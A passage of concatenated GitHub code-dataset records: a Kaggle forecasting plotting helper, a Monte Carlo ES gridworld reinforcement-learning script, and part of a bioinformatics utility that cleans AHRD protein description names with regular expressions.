sample_smape_scores_df['log_public_SMAPE'] = np.log(sample_smape_scores_df['public_SMAPE'].astype(float))\n    sample_smape_scores_df['log_private_SMAPE'] = np.log(sample_smape_scores_df['private_SMAPE'].astype(float))\n\n    # Clean up index and inspect. Now each sample in all of the conditions is represented by a single row\n    # with two SMAPE scores calculated from all of the datapoints in that condition and sample. One from\n    # the fit and forecast on the raw data and the other from the fit and forecast on the difference\n    # detrended data\n    sample_smape_scores_df.reset_index(inplace=True, drop=False)\n    sample_smape_scores_df.head()\n\n    return sample_smape_scores_df\n\ndef sample_mean_smape_boxplot(\n    sample_smape_scores_df: pd.DataFrame,\n    score_type: str = 'public_SMAPE',\n    parameter: str = 'block_size',\n    hue_by: str = 'difference_degree'\n):\n\n    # Get the best control mean of sample SMAPE scores from this experiment so that we can add\n    # it to the plots for comparison\n    mean_smape_score_df = sample_smape_scores_df.groupby(['model_type', 'lag_order', 'difference_degree', 'moving_average_order'])[[score_type]].mean()\n    mean_smape_score_df.reset_index(inplace=True, drop=False)\n\n    winning_control_mean_smape = mean_smape_score_df[mean_smape_score_df['model_type'] == 'control'].sort_values(by=[score_type])\n    winning_control_mean_smape.reset_index(inplace=True, drop=True)\n    winning_control_mean_smape = winning_control_mean_smape[score_type].iloc[0]\n\n    # Also get the best single sample SMAPE score\n    winning_control_smape = sample_smape_scores_df[sample_smape_scores_df['model_type'] == 'control'].sort_values(by=[score_type])\n    winning_control_smape.reset_index(inplace=True, drop=True)\n    winning_control_smape = winning_control_smape[score_type].iloc[0]\n\n    print()\n    print(f'Winning control mean of sample SMAPE scores: {winning_control_mean_smape}')\n    print(f'Winning control single sample SMAPE score: {winning_control_smape}')\n    print()\n\n    # Get condition levels \n    parameters = {\n        'lag_order': list(sample_smape_scores_df.lag_order.unique()),\n        'difference_degree': list(sample_smape_scores_df.difference_degree.unique()),\n        'moving_average_order': list(sample_smape_scores_df.moving_average_order.unique()),\n        'block_size': list(sample_smape_scores_df.block_size.unique())\n    }\n\n    for parameter_name, levels in parameters.items():\n        print(f'{parameter_name}: {levels}')\n\n    print()\n\n    # Find the experiment-wide max and min SMAPE score so that we can set a common Y-scale for all\n    # of the subplots\n    max_smape_score = sample_smape_scores_df[sample_smape_scores_df['model_type'] == 'ARIMA'].sort_values(by=[score_type], ascending=False)\n    max_smape_score.reset_index(inplace=True, drop=True)\n    max_smape_score = max_smape_score[score_type].iloc[0]\n\n    min_smape_score = sample_smape_scores_df[sample_smape_scores_df['model_type'] == 'ARIMA'].sort_values(by=[score_type], ascending=True)\n    min_smape_score.reset_index(inplace=True, drop=True)\n    min_smape_score = min_smape_score[score_type].iloc[0]\n\n    # Plot\n    fig, ax = plt.subplots(len(parameters[parameter]), 1, figsize=(12, (3.5 * len(parameters[parameter]))))\n\n    for plot_num, parameter_level in enumerate(parameters[parameter]):\n\n        sns.boxplot(\n            data=sample_smape_scores_df[(sample_smape_scores_df['model_type'] == 'ARIMA') & (sample_smape_scores_df[parameter] == parameter_level)], \n            x='lag_order',\n            y=score_type,\n            hue=hue_by,\n            ax=ax[plot_num]\n        )\n\n        # Set common y limit\n        ax[plot_num].set_ylim([min_smape_score - (0.05*min_smape_score), max_smape_score + (0.05*max_smape_score)])\n\n        # Add line for best control sample mean\n        ax[plot_num].axhline(winning_control_mean_smape, 0, 1, color='red', label=f'Best control mean of\\nsample SMAPE scores')\n        ax[plot_num].axhline(min_smape_score, 0, 1, color='red', linestyle='dashed',label=f'Best control single\\nsample SMAPE score')\n        \n        ax[plot_num].set(yscale='log')\n\n        # Labels\n        ax[plot_num].set(\n            xlabel='Lag order', \n            ylabel='sample SMAPE score', \n            title=f'{parameter} {parameter_level}'\n        )\n\n        # Put a legend to the right of the current axis\n        ax[plot_num].legend(title=hue_by, bbox_to_anchor=(1.05, 1), loc='upper left', borderaxespad=0.)\n\n    plt.suptitle(f'{score_type}')\n\n    plt.tight_layout()\n    \n    return plt", "repo_name": "gperdrizet/kaggle_microbusiness", "sub_path": "functions/notebook_helper_functions/notebook14.py", "file_name": "notebook14.py", "file_ext": "py", "file_size_in_byte": 14140, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "config.DataFilePaths", "line_number": 15, "usage_type": "call"}, {"api_name": "config.ARIMA_model_parameters", "line_number": 16, "usage_type": "call"}, {"api_name": "shelve.open", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 52, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 58, "usage_type": "call"}, {"api_name": "warnings.catch_warnings", "line_number": 63, "usage_type": "call"}, {"api_name": "warnings.simplefilter", "line_number": 66, "usage_type": "call"}, {"api_name": "statsmodels.tsa.arima.model.ARIMA", "line_number": 69, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 69, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 88, "usage_type": "call"}, {"api_name": "shelve.open", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "shelve.open", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "pandas.plotting.autocorrelation_plot", "line_number": 156, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 160, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 166, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "itertools.product", "line_number": 193, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 210, "usage_type": "call"}, {"api_name": "string.Template", "line_number": 222, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 226, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 226, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 229, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 229, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 231, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 231, "usage_type": "name"}, {"api_name": "matplotlib.pyplot", "line_number": 233, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 236, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 247, "usage_type": "name"}, {"api_name": "seaborn.boxplot", "line_number": 256, "usage_type": "call"}, {"api_name": "seaborn.boxplot", "line_number": 273, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 290, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 290, "usage_type": "name"}, {"api_name": "matplotlib.pyplot", "line_number": 292, "usage_type": "name"}, {"api_name": "pandas.read_parquet", "line_number": 298, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 315, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 316, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 328, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 377, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 377, "usage_type": "name"}, {"api_name": "seaborn.boxplot", "line_number": 381, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 408, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 408, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 410, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 410, "usage_type": "name"}, {"api_name": "matplotlib.pyplot", "line_number": 412, "usage_type": "name"}]}
{"seq_id": "27345210630", "text": "# Algorithm: MonteCarlo ES(Exploring Starts)\n# Environment: SmallGridworld\n\nimport numpy as np\nfrom envs.SmallGridworld import SmallGridworld # 环境\n\n\n# agent\nclass Agent:\n    def __init__(self, state_dim, action_dim):\n        self.action_dim = action_dim # 动作维度\n        self.q = np.zeros((state_dim, action_dim)) # Q-table\n        self.gamma = 1 # 折扣系数\n        self.count = np.zeros((state_dim, action_dim)) # 计数\n        self.max_step = 20 # 每个episode的最大步数\n\n    # 生成轨迹\n    def generate_trajectory(self, env):\n        states, actions, returns = [], [], []\n\n        state = env.reset() # 随机生成状态\n        action = np.random.randint(self.action_dim) # 随机生成动作\n        for step in range(self.max_step):\n            next_state, reward, done = env.step(action)\n            states.append(state)\n            actions.append(action)\n            returns.append(reward)\n            if done:\n                break\n            state = next_state\n            action = np.argmax(self.q[state]) # 根据 greedy 采取动作\n\n        for t in reversed(range(len(returns)-1)):\n            returns[t] += self.gamma * returns[t+1]\n\n        return states, actions, returns\n\n    # 更新 Q_table\n    def update(self, states, actions, returns):\n        for state, action, G in zip(states, actions, returns):\n            self.count[state][action] += 1\n            self.q[state][action] += 1 / self.count[state][action] * (G - self.q[state][action])\n\n\nif __name__ == '__main__':\n    env = SmallGridworld()\n    agent = Agent(env.state_dim, env.action_dim)\n\n    # 训练\n    for ep in range(200000):\n        states, actions, returns = agent.generate_trajectory(env)\n        agent.update(states, actions, returns)\n\n    # 输出最优动作\n    best_action = ['X']\n    for state in range(1, 15):\n        best_action.append(np.where(np.abs(agent.q[state]-np.max(agent.q[state]))<0.1)[0].tolist())\n    best_action.append('X')\n    print('algo: MonteCarloES')\n    print('\\nBest policy:\\t(0:↑ 1:→ 2:↓ 3:←)')\n    for i in range(0, 16, 4):\n        print(best_action[i:i+4])\n", "repo_name": "qishi21/RLStudy", "sub_path": "Qtable/MonteCarloES.py", "file_name": "MonteCarloES.py", "file_ext": "py", "file_size_in_byte": 2111, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.zeros", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 31, "usage_type": "call"}, {"api_name": "envs.SmallGridworld.SmallGridworld", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 57, "usage_type": "call"}]}
{"seq_id": "19416327894", "text": "#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\n\"\"\"\nUtility to run Automated Human Readable Description (AHRD) pipeline.\n\n<https://github.com/groupschoof/AHRD>\n\"\"\"\nimport os.path as op\nfrom os import symlink\nimport sys\nimport re\nimport logging\n\nfrom jcvi.formats.base import must_open\nfrom jcvi.apps.base import OptionParser, ActionDispatcher, mkdir, glob\n\n\n# --- Compiled RegExps ----\n# Cellular locations\nloc_pat = re.compile(r\",\\s*(chloroplastic|cytoplasmic|mitochondrial).*?\\s$\", re.I)\n# Any word that matches e.g. Os02g0234800\nosg_pat = re.compile(r\"\\bOs\\d{2}g\\d{7}.*?\\s\", re.I)\n# (fragment)\nfrag_pat = re.compile(r\"\\(fragment[s]?\\)\", re.I)\n# Trailing protein numeric copy (e.g. Myb 1)\ntrail_pat = re.compile(r\"(?<!type)\\s\\d+\\s*$\", re.I)\n# UPF\nupf_pat = re.compile(r\"^UPF.*$\")\n# Remove 'DDB_G\\d+' ID\nddb_pat = re.compile(r\"\\s+DDB_G\\d+\", re.I)\n\n# Any AHRD that matches e.g. \"AT5G54690-like protein\"\natg_pat = re.compile(r\"\\bAT[1-5M]G\\d{5}-like protein\", re.I)\n\n# remove 'arabidopsis thaliana'\natg_id_pat = re.compile(r\"[_]*AT\\dG\\d+[/]*\", re.I)\nathila_pat1 = re.compile(r\"Belongs to|^Encodes|^Expression|^highly\", re.I)\nathila_pat2 = re.compile(r\"^Arabidopsis thaliana \", re.I)\nathila_pat3 = re.compile(r\"^Arabidopsis \", re.I)\nathila_pat4 = re.compile(r\"BEST Arabidopsis thaliana protein match is: \", re.I)\n\n# &apos;? => '\napos_pat = re.compile(r\"&apos;?\")\n\n# &gt => none\ngt_pat = re.compile(r\"&gt\")\n\n# -like to -like protein\nlike_pat = re.compile(r\"[-]like$\", re.I)\n\n# 'repeat$' to 'repeat protein'\nrepeat_pat = re.compile(r\"repeat$\", re.I)\n\n# re used by the following 3 cases\nProtein_pat = re.compile(r\"Protein\\s+\", re.I)\n\n# 'binding$' to 'binding protein'\nbinding_pat = re.compile(r\"binding$\", re.I)\n\n# 'domain$' to 'domain-containing protein'\ndomain_pat = re.compile(r\"domain$\", re.I)\n\n# 'related$' to '-like protein'\nrelated_pat = re.compile(r\"[,\\s+]*[\\s+|-]*related$\", re.I)\n\n# '[0-9]+ homolog' to '-like protein'\nhomolog_pat1 = re.compile(r\"(?<!type)\\s+\\d+\\s+homolog.*$\", re.I)\n\n# 'Protein\\s+(.*)\\s+homolog' to '$1-like protein'\nhomolog_pat2 = re.compile(r\"^Protein([\\s\\S]+)\\s+homolog.*\", re.I)\n\n# 'homolog protein' to '-like protein'\nhomolog_pat3 = re.compile(r\"\\s+homolog\\s+protein.*\", re.I)\n# 'homolog \\S+' to '-like protein'\nhomolog_pat4 = re.compile(r\"\\s+homolog\\s+\\d+$\", re.I)\n# 'homologue$' to '-like protein'\nhomolog_pat5 = re.compile(r\"\\s+homologue[\\s\\S]+$\", re.I)\n# 'homolog$' to '-like protein'\nhomolog_pat6 = re.compile(r\"\\s+homolog$\", re.I)\n\n# 'Agenet domain-containing protein / bromo-adjacent homology (BAH) domain-containing protein'\n# to 'Agenet and bromo-adjacent homology (BAH) domain-containing protein'\nagenet_pat = re.compile(r\"Agenet domain-containing protein / \", re.I)\n\n# plural to singular\nplural_pat = re.compile(r\"[deinr]s$\", re.I)\n\n# 'like_TBP' or 'likeTBP' to 'like TBP'\ntbp_pat = re.compile(r\"like[_]*TBP\", re.I)\n\n# 'protein protein' to 'protein'\nprot_pat = re.compile(r\"protein protein\", re.I)\n\n# 'Candidate|Hypothetical|Novel|Predicted|Possible' to 'Putative'\nput_pat = re.compile(\n    r\"Candidate|Hypothetical|Novel|Predicted|Possible|Probable|Uncharacterized\", re.I\n)\n\n# 'dimerisation' to 'dimerization'\ndimer_pat = re.compile(r\"dimerisation\", re.I)\n\n# '\\s+LENGTH=\\d+' to ''\nlength_pat = re.compile(r\"\\s+LENGTH=\\d+\", re.I)\n\n# disallowed words\ndisallow = (\"genome\", \"annotation\", \"project\")\ndisallow_pat = re.compile(\"|\".join(str(x) for x in disallow))\n\n# disallowed organism names\norganism = (\"thaliana\", \"rickettsia\", \"rice\", \"yeast\")\norganism_pat = re.compile(\"|\".join(\"^.*{0}\".format(str(x)) for x in organism))\n\n# consolidate glycosidic links\nglycosidic_link_pat = re.compile(r\"\\d+,\\d+\")\n\n# Kevin Silverstein suggested names (exclude list)\nspada = (\"LCR\", \"RALF\", \"SCR\")\nspada_pat = re.compile(\"|\".join(\"^{0}$\".format(str(x)) for x in spada))\n\n# names with all capital letters (maybe followed by numbers)\nsym_pat = re.compile(r\"^[A-Z]+[A-Z0-9\\-]*$\")\nlc_sym_pat = re.compile(r\"^[A-z][a-z]+[0-9]+$\")\neol_sym_pat = re.compile(r\"\\([A-Z]+[A-Z0-9\\-]*\\)$\")\n\n# sulfer -> sulfur\n# sulph -> sulf\nsulfer_pat = re.compile(r\"sulfer\")\nsulph_pat = re.compile(r\"sulph\")\n\n# monoxy to monooxy\nmonoxy_pat = re.compile(r\"monoxy\")\n\n# proteine to protein\nproteine_pat = re.compile(r\"proteine\")\n\n# signalling to signaling\nsignalling_pat = re.compile(r\"signalling\")\n\n# aluminium to aluminum\naluminium_pat = re.compile(r\"aluminium\", re.I)\n\n# haem to heme\n# haemo to hemo\nhaem_pat = re.compile(r\"\\bhaem\\b\", re.I)\nhaemo_pat = re.compile(r\"haemo\", re.I)\n\n# assessory -> accessory\nassessory_pat = re.compile(r\"assessory\")\n\n# british to american spelling conversion\n# -ise -> -ize\n# -ised -> -ized\n# -isation -> -ization\n# -bre -> -ber\nise_pat = re.compile(r\"\\b([A-z]+)ise([d]?)\\b\")\nisation_pat = re.compile(r\"\\b([A-z]+)isation\\b\")\nbre_pat = re.compile(r\"\\b([A-z]+)bre\\b\")\n\n# /with \\S+ and \\S+/ pattern\n# /, and \\S+/ pattern\n# identify names with two domains\nwith_and_pat = re.compile(r\"[with|,]\\s*\\S+and\\S+\")\n\nTemplate = \"\"\"\nproteins_fasta: {2}\ntoken_score_bit_score_weight: {4}\ntoken_score_database_score_weight: {5}\ntoken_score_overlap_score_weight: {6}\ndescription_score_relative_description_frequency_weight: 0.6\noutput: {3}\nblast_dbs:\n  swissprot:\n    weight: 100\n    file: ./swissprot/{1}.swissprot.tab\n    database: ./dbs/swissprot.fasta\n    blacklist: {0}/blacklist_descline.txt\n    filter: {0}/filter_descline_sprot.txt\n    token_blacklist: {0}/blacklist_token.txt\n    description_score_bit_score_weight: 0.2\n\n  tair:\n    weight: 50\n    file: ./tair/{1}.tair.tab\n    database: ./dbs/tair.fasta\n    blacklist: {0}/blacklist_descline.txt\n    filter: {0}/filter_descline_tair.txt\n    fasta_header_regex: \"^>(?<accession>[aA][tT][0-9mMcC][gG]\\\\\\\\d+(\\\\\\\\.\\\\\\\\d+)?)\\\\\\\\s+\\\\\\\\|[^\\\\\\\\|]+\\\\\\\\|\\\\\\\\s+(?<description>[^\\\\\\\\|]+)(\\\\\\\\s*\\\\\\\\|.*)?$\"\n    short_accession_regex: \"^(?<shortAccession>.+)$\"\n    token_blacklist: {0}/blacklist_token.txt\n    description_score_bit_score_weight: 0.4\n\n  trembl:\n    weight: 10\n    file: ./trembl/{1}.trembl.tab\n    database: ./dbs/trembl.fasta\n    blacklist: {0}/blacklist_descline.txt\n    filter: {0}/filter_descline_trembl.txt\n    token_blacklist: {0}/blacklist_token.txt\n    description_score_bit_score_weight: 0.4\n{7}\n\"\"\"\n\niprscanTemplate = \"\"\"\ninterpro_database: ./interpro.xml\ninterpro_result: {0}\n\"\"\"\n\n# Necessary for the script to know the location of `interpro.xml` and `interpro.dtd`\niprscan_datadir = \"/usr/local/devel/ANNOTATION/iprscan/iprscan_v4.7/data\"\n\n\ndef main():\n\n    actions = (\n        (\"batch\", \"batch run AHRD\"),\n        (\"merge\", \"merge AHRD run results\"),\n        (\"fix\", \"fix AHRD names\"),\n    )\n    p = ActionDispatcher(actions)\n    p.dispatch(globals())\n\n\nUnknown = \"Unknown protein\"\nHypothetical = \"hypothetical protein\"\n\n\ndef read_interpro(ipr):\n    store = {}\n    fp = open(ipr)\n    # Aco000343.1     0d98a55eb3399a408e06252a2e24efcf        2083    Pfam\n    # PF00476 DNA polymerase family A 1685    2075    1.70E-55        T\n    # 10-10-2014      IPR001098       \"DNA-directed DNA polymerase, family A,\n    # palm domain\"    GO:0003677|GO:0003887|GO:0006260        KEGG:\n    # 00230+2.7.7.7|KEGG: 00240+2.7.7.7\n    for row in fp:\n        (\n            accession,\n            md5,\n            seqlen,\n            analysis,\n            signature,\n            signature_description,\n            start,\n            stop,\n            score,\n            status,\n            date,\n            interpro,\n            interpro_description,\n            GO,\n            pathway,\n        ) = row.split(\"\\t\")\n        accession = accession.split(\".\")[0]\n        interpro_description = interpro_description.replace('\"', \"\")\n        pathway = pathway.strip()\n        if accession not in ipr:\n            store[accession] = (interpro, interpro_description, GO, pathway)\n    return store\n\n\ndef fix_text(s, ignore_sym_pat=False):\n\n    if not ignore_sym_pat:\n        # Fix descriptions like D7TDB1 (\n        s = re.sub(r\"([A-Z0-9]){6} \\(\", \"\", s)\n        s = s.split(\";\")[0]\n\n    # Fix parantheses containing names\n    s = s.strip(\"[]\")\n    s = s.replace(\"(-)\", \"[-]\")\n    s = s.replace(\"(+)\", \"[+]\")\n    s = s.replace(\"(Uncharacterized protein)\", \"\")\n    if not ignore_sym_pat:\n        s = s.strip(\"()\")\n\n    # fix minor typos, seen in `autonaming` output\n    # change 'protei ' to 'protein '\n    # change 'hypthetical' to 'hypothetical'\n    # fix string starting with 'ytochrome'\n    if \"protei \" in s:\n        s = s.replace(\"protei \", \"protein \")\n    if \"hypthetical\" in s:\n        s = s.replace(\"hypthetical\", \"hypothetical\")\n    if s.startswith(\"ytochrome\"):\n        s = s.replace(\"ytochrome\", \"cytochrome\")\n\n    # before trimming off at the first \";\", check if name has glycosidic\n    # linkage information (e.g 1,3 or 1,4). If so, also check if multiple\n    # linkages are separated by \";\". If so, replace \";\" by \"-\"\n    m = re.findall(glycosidic_link_pat, s)\n    if m and \";\" in s:\n        s = re.sub(r\";\\s*\", \"-\", s)\n\n    # remove underscore from description\n    s = re.sub(\"_\", \" \", s)\n\n    # Cellular locations\n    # Any word that matches e.g. AT5G54690\n    # Any word that matches e.g. Os02g0234800\n    # (fragment)\n    # UPF\n    # Remove 'DDB_G\\d+' ID\n    # '_At[0-9]+g[0-9]+' to ''\n    for pat in (loc_pat, osg_pat, frag_pat, upf_pat, ddb_pat):\n        # below is a hack since word boundaries don't work on /\n        s = s.strip() + \" \"\n        s = re.sub(pat, \"\", s)\n\n    # &apos;? => '\n    s = re.sub(apos_pat, \"'\", s)\n    # &gt => none\n    s = re.sub(gt_pat, \"\", s)\n    # reduce runs such as -- '''\n    s = re.sub(r\"[-]+\", \"-\", s)\n    s = re.sub(r\"[']+\", \"'\", s)\n\n    s = s.strip()\n\n    # -like to -like protein\n    s = re.sub(like_pat, \"-like protein\", s)\n\n    # 'repeat$' to 'repeat protein'\n    if re.search(repeat_pat, s):\n        s += \"-containing protein\"\n\n    # 'binding$' to 'binding protein'\n    if re.search(binding_pat, s):\n        s += \" protein\"\n        if re.match(Protein_pat, s):\n            s = re.sub(Protein_pat, \"\", s)\n\n    # 'domain$' to 'domain-containing protein'\n    if re.search(domain_pat, s):\n        s += \"-containing protein\"\n        if re.search(r\"-domain\", s):\n            s = re.sub(r\"-domain\", \" domain\", s)\n        if re.match(Protein_pat, s):\n            s = re.sub(Protein_pat, \"\", s)\n\n    # 'related$' to '-like protein'\n    if re.search(related_pat, s):\n        s = re.sub(related_pat, \"-like protein\", s)\n        if re.match(Protein_pat, s) and not re.match(r\"Protein kinase\", s):\n            s = re.sub(Protein_pat, \"\", s)\n\n    # '[0-9]+ homolog' to '-like protein'\n    if re.search(homolog_pat1, s):\n        s = re.sub(homolog_pat1, \"-like protein\", s)\n        if re.match(Protein_pat, s):\n            s = re.sub(Protein_pat, \"\", s)\n\n    # 'Protein\\s+(.*)\\s+homolog' to '$1-like protein'\n    match = re.search(homolog_pat2, s)\n    if match and not re.match(r\"Protein kinase\", s):\n        ret = match.group(1)\n        s = re.sub(homolog_pat2, ret + \"-like protein\", s)\n        s = re.sub(r\"^\\s+\", \"\", s)\n        s = s.capitalize()\n\n    # 'homolog protein' to '-like protein'\n    # 'homologue$' to '-like protein'\n    # 'homolog$' to '-like protein'\n    for pat in (homolog_pat3, homolog_pat5, homolog_pat6):\n        if re.search(pat, s):\n            s = re.sub(pat, \"-like protein\", s)\n\n    # 'Agenet domain-containing protein / bromo-adjacent homology (BAH) domain-containing protein'\n    # to 'Agenet and bromo-adjacent homology (BAH) domain-containing protein'\n    if re.search(agenet_pat, s):\n        s = re.sub(agenet_pat, \"Agenet and \", s)\n\n    # plural to singular\n    if re.search(plural_pat, s):\n        if (s.find(\"biogenesis\") == -1 and s.find(\"Topors\") == -1) or (\n            not re.search(with_and_pat, s)\n        ):\n            s = re.sub(r\"s$\", \"\", s)\n\n    # 'like_TBP' or 'likeTBP' to 'like TBP'\n    if re.search(tbp_pat, s):\n        s = re.sub(tbp_pat, \"like TBP\", s)\n\n    # 'protein protein' to 'protein'\n    if re.search(prot_pat, s):\n        s = re.sub(prot_pat, \"protein\", s)\n\n    # 'dimerisation' to 'dimerization'\n    if re.search(dimer_pat, s):\n        s = re.sub(dimer_pat, \"dimerization\", s)\n\n    # Any AHRD that matches e.g. \"AT5G54690-like protein\"\n    # Any AHRD that contains the words '^Belongs|^Encoded|^Expression|^highly'\n    for pat in (atg_pat, athila_pat1):\n        if re.search(pat, s):\n            s = Unknown\n\n    # remove 'arabidopsis[ thaliana]' and/or embedded Atg IDs\n    for pat in (atg_id_pat, athila_pat2, athila_pat3, athila_pat4):\n        # below is a hack since word boundaries don't work on /\n        s = s.strip() + \" \"\n        s = re.sub(pat, \"\", s)\n\n    # remove \"\\s+LENGTH=\\d+\" from TAIR deflines\n    if re.search(length_pat, s):\n        s = re.sub(length_pat, \"\", s)\n\n    # if name has a dot followed by a space (\". \") in it and contains multiple\n    # parts separated by a comma, strip name starting from first occurrence of \",\"\n    if re.search(r\"\\. \", s):\n        if re.search(r\",\", s):\n            s = s.split(\",\")[0]\n\n    # if name contains any of the disallowed words,\n    # remove word occurrence from name\n    # if name contains references to any other organism, trim name upto\n    # that occurrence\n    for pat in (disallow_pat, organism_pat):\n        if re.search(pat, s):\n            s = re.sub(pat, \"\", s)\n\n    s = s.strip()\n\n    if not ignore_sym_pat:\n        # 'homolog \\d+' to '-like protein'\n        if re.search(homolog_pat4, s):\n            s = re.sub(homolog_pat4, \"\", s)\n\n        # Trailing protein numeric copy (e.g. Myb 1)\n        if re.search(trail_pat, s):\n            s = re.sub(trail_pat, \"\", s)\n\n        # if name is entirely a gene symbol-like (all capital letters, maybe followed by numbers)\n        # add a \"-like protein\" at the end\n        if (re.search(sym_pat, s) or re.search(lc_sym_pat, s)) and not re.search(\n            spada_pat, s\n        ):\n            s = s + \"-like protein\"\n\n        # if gene symbol in parantheses at EOL, remove symbol\n        if re.search(eol_sym_pat, s):\n            s = re.sub(eol_sym_pat, \"\", s)\n\n        # if name terminates at a symbol([^A-Za-z0-9_]), trim it off\n        if re.search(r\"\\W+$\", s) and not re.search(r\"\\)$\", s):\n            s = re.sub(r\"\\W+$\", \"\", s)\n\n        if \"uncharacterized\" in s:\n            s = \"uncharacterized protein\"\n\n    # change sulfer to sulfur\n    if re.search(sulfer_pat, s):\n        s = re.sub(sulfer_pat, \"sulfur\", s)\n\n    # change sulph to sulf\n    if re.search(sulph_pat, s):\n        s = re.sub(sulph_pat, \"sulf\", s)\n\n    # change monoxy to monooxy\n    if re.search(monoxy_pat, s):\n        s = re.sub(monoxy_pat, \"monooxy\", s)\n\n    # change proteine to protein\n    if re.search(proteine_pat, s):\n        s = re.sub(proteine_pat, \"protein\", s)\n\n    # change signalling to signaling\n    if re.search(signalling_pat, s):\n        s = re.sub(signalling_pat, \"signaling\", s)\n\n    # change aluminium to aluminum\n    if re.search(aluminium_pat, s):\n        s = re.sub(aluminium_pat, \"aluminum\", s)\n\n    # change haem to heme\n    if re.search(haem_pat, s):\n        s = re.sub(haem_pat, \"heme\", s)\n\n    # chage haemo to hemo\n    if re.search(haemo_pat, s):\n        s = re.sub(haemo_pat, \"hemo\", s)\n\n    # change assessory to accessory\n    if re.search(assessory_pat, s):\n        s = re.sub(assessory_pat, \"accessory\", s)\n\n    # change -ise/-ised/-isation to -ize/-ized/-ization\n    match = re.search(ise_pat, s)\n    if match:\n        ret = match.group(1)\n        if match.group(2):\n            suff = match.group(2)\n            s = re.sub(ise_pat, \"{0}ize{1}\".format(ret, suff), s)\n        else:\n            s = re.sub(ise_pat, \"{0}ize\".format(ret), s)\n\n    match = re.search(isation_pat, s)\n    if match:\n        ret = match.group(1)\n        s = re.sub(isation_pat, \"{0}ization\".format(ret), s)\n\n    # change -bre to -ber\n    match = re.search(bre_pat, s)\n    if match:\n        ret = match.group(1)\n        s = re.sub(bre_pat, \"{0}ber\".format(ret), s)\n\n    if not s.startswith(Hypothetical):\n        # 'Candidate|Hypothetical|Novel|Predicted|Possible|Probable|Uncharacterized' to 'Putative'\n        if s.startswith(\"Uncharacterized\") and any(\n            pat in s for pat in (\"UCP\", \"UPF\", \"protein\")\n        ):\n            pass\n        else:\n            if re.search(put_pat, s):\n                s = re.sub(put_pat, \"Putative\", s)\n\n    sl = s.lower()\n\n    # Any mention of `clone` or `contig` is not informative\n    if \"clone\" in sl or \"contig\" in sl:\n        s = Unknown\n\n    # All that's left is `protein` is not informative\n    if sl in (\"protein\", \"protein, putative\", \"\"):\n        s = Unknown\n\n    if Unknown.lower() in sl:\n        s = Unknown\n\n    if \"FUNCTIONS IN\".lower() in sl and \"unknown\" in sl:\n        s = Unknown\n\n    if \"LOCATED IN\".lower() in sl:\n        s = Unknown\n\n    s = re.sub(r\"[,]*\\s+putative$\", \"\", s)\n\n    if s == Unknown or 